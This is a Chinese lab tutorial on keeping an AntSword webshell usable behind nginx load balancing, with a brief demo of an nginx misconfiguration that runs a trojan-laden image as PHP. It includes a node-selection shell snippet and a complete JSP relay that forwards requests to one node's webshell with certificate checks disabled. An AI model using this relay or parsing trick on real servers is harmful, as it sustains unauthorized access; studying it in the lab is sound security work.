負(fù)載均衡下的webshell上傳+nginx解析漏洞的過程
負(fù)載均衡下的webshell上傳
一,負(fù)載均衡下webshell上傳的四大難點(diǎn)
難點(diǎn)一:需要在每一臺節(jié)點(diǎn)的相同位置上傳相同內(nèi)容的webshell 我們需要在每一臺節(jié)點(diǎn)的相同位置都上傳相同內(nèi)容的 WebShell一旦有一臺機(jī)器上沒有,那么在請求輪到這臺機(jī)器上的時候,就會出現(xiàn) 404 錯誤,影響使用。是的,這就是你出現(xiàn)一會兒正常,一會兒錯誤的原因。
難點(diǎn)二:無法預(yù)測下一次請求是哪一臺機(jī)器去執(zhí)行 我們在執(zhí)行命令時,無法知道下次的請求交給哪臺機(jī)器去執(zhí)行。我們執(zhí)行 hostname -i查看當(dāng)前執(zhí)行機(jī)器的 ip 時,可以看到一直在飄,因?yàn)槲覀冇玫氖禽喸兊姆绞?,還算能確定,一旦涉及了權(quán)重等其它指標(biāo),就讓你好好體驗(yàn)一波什么叫飄乎不定。
難點(diǎn)三:當(dāng)我們需要上傳一些工具時,麻煩來了: 由于 antSword 上傳文件時,采用的分片上傳方式,把一個文件分成了多次HTTP請求發(fā)送給了目標(biāo),所以尷尬的事情來了,兩臺節(jié)點(diǎn)上,各一半,而且這一半到底是怎么組合的,取決于 LBS 算法
難點(diǎn)四:由于目標(biāo)機(jī)器不能出外網(wǎng) 由于目標(biāo)機(jī)器不能出外網(wǎng),想進(jìn)一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在這個場景下,這些 tunnel 腳本全部都失靈了。
二、環(huán)境搭建
漏洞復(fù)現(xiàn):
我們假定在真實(shí)的業(yè)務(wù)系統(tǒng)上,存在一個 RCE 漏洞,可以讓我們獲取 WebShell。
環(huán)境搭建(下載地址:https://github.com/AntSwordProject/AntSword-Labs)
將下載的環(huán)境上傳虛擬機(jī)后解壓
──(root?kali)-[~/ant/loadbalance/loadbalance-jsp]
└─# chmod +x /usr/bin/docker-compose
為文件賦予執(zhí)行權(quán)限
┌──(root?kali)-[~/ant/loadbalance/loadbalance-jsp]
└─# docker-compose up -d
連接蟻劍
查看ip,發(fā)現(xiàn)一直進(jìn)行漂移
解決方法
1、關(guān)機(jī)或者停服
首先在測試階段,我們可以關(guān)閉一臺服務(wù)器,只保留一臺機(jī)器,因?yàn)榻】禉z查機(jī)制的存在,很快其它的節(jié)點(diǎn)就會被 nginx 從池子里踢出去,那么妥妥的就能繼續(xù)了。 但在真實(shí)項(xiàng)目中,是不允許的,會嚴(yán)重影響業(yè)務(wù)。
2、執(zhí)行前先判斷IP;要不要執(zhí)行;
執(zhí)行前先判斷IP;要不要執(zhí)行;
MYIP=`ifconfig | grep "inet 172" | awk '{print $2}'` if [$MYIP == "172.19.0.2" ]; then echo "Node1. I will execute command.\n=======\n" ifconfig else echo "Other. Try again." fi
由于該docker環(huán)境中無ifconfig命令,需要更新
root@ae64558c1d47:/usr/local/tomcat# apt-get intstall net-tools
將腳本上傳后,訪問如果是0.2ip地址,就執(zhí)行腳本
3、在Web 層做一次 HTTP 流量轉(zhuǎn)發(fā)
腳本內(nèi)容
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="javax.net.ssl.*" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.DataInputStream" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.OutputStream" %> <%@ page import="java.net.HttpURLConnection" %> <%@ page import="java.net.URL" %> <%@ page import="java.security.KeyManagementException" %> <%@ page import="java.security.NoSuchAlgorithmException" %> <%@ page import="java.security.cert.CertificateException" %> <%@ page import="java.security.cert.X509Certificate" %> <%! public static void ignoreSsl() throws Exception { HostnameVerifier hv = new HostnameVerifier() { public boolean verify(String urlHostName, SSLSession session) { return true; } }; trustAllHttpsCertificates(); HttpsURLConnection.setDefaultHostnameVerifier(hv); } private static void trustAllHttpsCertificates() throws Exception { TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() { public X509Certificate[] getAcceptedIssuers() { return null; } @Override public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { // Not implemented } @Override public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { // Not implemented } } }; try { SSLContext sc = SSLContext.getInstance("TLS"); sc.init(null, trustAllCerts, new java.security.SecureRandom()); HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); } catch (KeyManagementException e) { e.printStackTrace(); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } } %> <% String target = "http://172.19.0.2:8080/ant.jsp"; URL url = new URL(target); if ("https".equalsIgnoreCase(url.getProtocol())) { ignoreSsl(); } HttpURLConnection conn = (HttpURLConnection)url.openConnection(); StringBuilder sb = new StringBuilder(); conn.setRequestMethod(request.getMethod()); conn.setConnectTimeout(30000); conn.setDoOutput(true); conn.setDoInput(true); conn.setInstanceFollowRedirects(false); conn.connect(); ByteArrayOutputStream baos=new ByteArrayOutputStream(); OutputStream out2 = conn.getOutputStream(); DataInputStream in=new DataInputStream(request.getInputStream()); byte[] buf = new byte[1024]; int len = 0; while ((len = in.read(buf)) != -1) { baos.write(buf, 0, len); } baos.flush(); baos.writeTo(out2); baos.close(); InputStream inputStream = conn.getInputStream(); OutputStream out3=response.getOutputStream(); int len2 = 0; while ((len2 = inputStream.read(buf)) != -1) { out3.write(buf, 0, len2); } out3.flush(); out3.close(); %>
訪問后就一直是0.2地址
nginx解析漏洞
該漏洞與Nginx、php版本無關(guān),屬于用戶配置不當(dāng)造成的解漏洞。
直接執(zhí)行 docker compose up-d 啟動容器,無需編譯。
正常訪問
在url后加一個不存在的文件名.php,會出現(xiàn)以下頁面
這是因?yàn)樵撐募械呐渲梦募踩缶Y名為空已及將cgi.fig_pathinfo設(shè)置為cgi.fig_pathinfo=0
當(dāng)訪問一個不存在的文件名時,會自動將上一級目錄尋找文件按照php形式解析,而圖片中含有一句話木馬,所以出現(xiàn)上述頁面
到此這篇關(guān)于負(fù)載均衡下的webshell上傳+nginx解析漏洞的文章就介紹到這了,更多相關(guān)nginx解析漏洞內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Nginx學(xué)習(xí)之如何搭建文件防盜鏈服務(wù)的方法示例
這篇文章主要介紹了Nginx學(xué)習(xí)之如何搭建文件防盜鏈服務(wù)的方法示例,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧2018-10-10如何在centos上使用yum安裝rabbitmq-server
這篇文章主要介紹了如何在centos上使用yum安裝rabbitmq-server,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下2020-09-09centos7下基于nginx+uwsgi部署Django項(xiàng)目的實(shí)現(xiàn)
Django是一個開源的Web應(yīng)用框架,使用Python語言編寫,主要用于搭建Web項(xiàng)目,本教程介紹如何在centos7下基于nginx+uwsgi部署Django項(xiàng)目的實(shí)現(xiàn),感興趣的可以了解一下2024-04-04